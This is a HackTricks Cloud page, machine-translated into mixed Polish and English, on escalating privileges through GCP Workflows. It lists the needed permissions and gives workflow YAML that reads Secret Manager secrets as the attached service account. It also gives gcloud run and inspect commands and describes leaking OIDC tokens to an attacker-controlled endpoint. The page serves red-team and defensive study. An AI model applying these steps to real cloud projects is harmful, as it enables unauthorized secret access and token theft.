GCP - Workflows Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Workflows
Podstawowe informacje:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
O ile wiem, nie jest możliwe uzyskanie shell’a z dostępem do endpointu metadanych zawierającego poświadczenia SA przypisanego do Workflow. Można jednak wykorzystać uprawnienia SA, dodając akcje do wykonania wewnątrz Workflow.
Można znaleźć dokumentację konektorów. Na przykład, to jest the page of the Secretmanager connector. W pasku bocznym można znaleźć kilka innych konektorów.
A tutaj znajdziesz przykład konektora, który wypisuje sekret:
Workflow YAML configuration to access secrets
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```Aktualizacja z CLI:
Wdrażanie i uruchamianie workflows z CLI
```bash gcloud workflows deployJeśli nie masz dostępu do sieci web, można wywołać i zobaczyć wykonanie Workflow za pomocą:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
Możesz również sprawdzić output poprzednich wykonanych uruchomień, aby poszukać informacji wrażliwych
Zwróć uwagę, że nawet jeśli otrzymasz błąd taki jak PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... z powodu braku tego uprawnienia, workflow został wygenerowany.
Leak OIDC token (and OAuth?)
According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.
Caution
Therefore, it’s possible to leak the OIDC token by indicating a HTTP endpoint kontrolowany przez użytkownika, ale aby leakować OAuth token potrzebowałbyś need a bypass dla tej ochrony. Jednak nadal możesz contact any GCP api to perform actions on behalf the SA używając connectors lub HTTP requests z tokenem OAuth.
Oauth
Workflow HTTP request with OAuth token
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```Żądanie HTTP Workflow z tokenem OIDC
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```Dzięki temu uprawnieniu, zamiast workflows.workflows.create, można zaktualizować już istniejący workflow i przeprowadzić te same attacks.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

